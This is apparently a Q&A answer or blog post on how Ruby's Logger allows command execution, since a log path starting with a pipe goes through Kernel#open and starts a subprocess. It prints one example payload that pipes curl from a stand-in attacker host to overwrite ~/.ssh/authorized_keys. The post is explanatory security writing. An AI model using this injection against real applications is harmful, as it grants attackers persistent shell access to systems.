What Makes Logger Susceptible to RCE?

brakeman, rails, ruby, security

The issue is not specifically the use of constantize; it’s to do with trusting user input not to be malicious. In order to make an application secure, you must consider all user input to be potentially malicious. There are plenty of convenient use cases for constantizing code, and security is unlikely to be an issue if there’s no user input involved.

However, I did find this hacking technique interesting/surprising, as I’ve never seen it before:

1
Logger.new("|curl http://attacker.url -o ~/.ssh/authorized_keys")

You can really run arbitrary shell scripts by simply creating an instance of Logger??!! I looked into this, and it’s true. Here’s a full breakdown, for the curious:

Creating a new instance of Logger instantiates a new instance of LogDevice, with the given “filename”:

1
2
3
4
5
6
7
8
9
10
11
def initialize(logdev, shift_age = 0, shift_size = 1048576, level: DEBUG,
                 progname: nil, formatter: nil, datetime_format: nil,
                 shift_period_suffix: '%Y%m%d')
  # ....
  @logdev = nil
  if logdev
    @logdev = LogDevice.new(logdev, :shift_age => shift_age,
      :shift_size => shift_size,
      :shift_period_suffix => shift_period_suffix)
  end
end

The LogDevice initializer calls set_dev with the supplied “filename”:

1
2
3
4
5
def initialize(log = nil, shift_age: nil, shift_size: nil, shift_period_suffix: nil)
  # ...
  set_dev(log)
  # ...
end

Which calls open_logfile:

1
2
3
4
5
6
7
8
def set_dev(log)
  if log.respond_to?(:write) and log.respond_to?(:close)
    @dev = log
  else
    @dev = open_logfile(log)
    # ...
  end
end

Which calls Kernel#open:

1
2
3
4
5
6
7
def open_logfile(filename)
  begin
    open(filename, (File::WRONLY | File::APPEND))
  rescue Errno::ENOENT
    create_logfile(filename)
  end
end

And, looking at the documentation for Kernel#open:

Creates an IO object connected to the given stream, file, or subprocess. If path does not start with a pipe character (|), treat it as the name of a file to open using the specified mode (defaulting to “r”).

[…]

If path starts with a pipe character (“|”), a subprocess is created, connected to the caller by a pair of pipes. The returned IO object may be used to write to the standard input and read from the standard output of this subprocess.

If the command following the pipe is a single minus sign (“|–”), Ruby forks, and this subprocess is connected to the parent. If the command is not “–”, the subprocess runs the command. […]

Wow, that’s definitely a possible attack vendor to be aware of!

This page was delicately crafted on by Gavin Miller.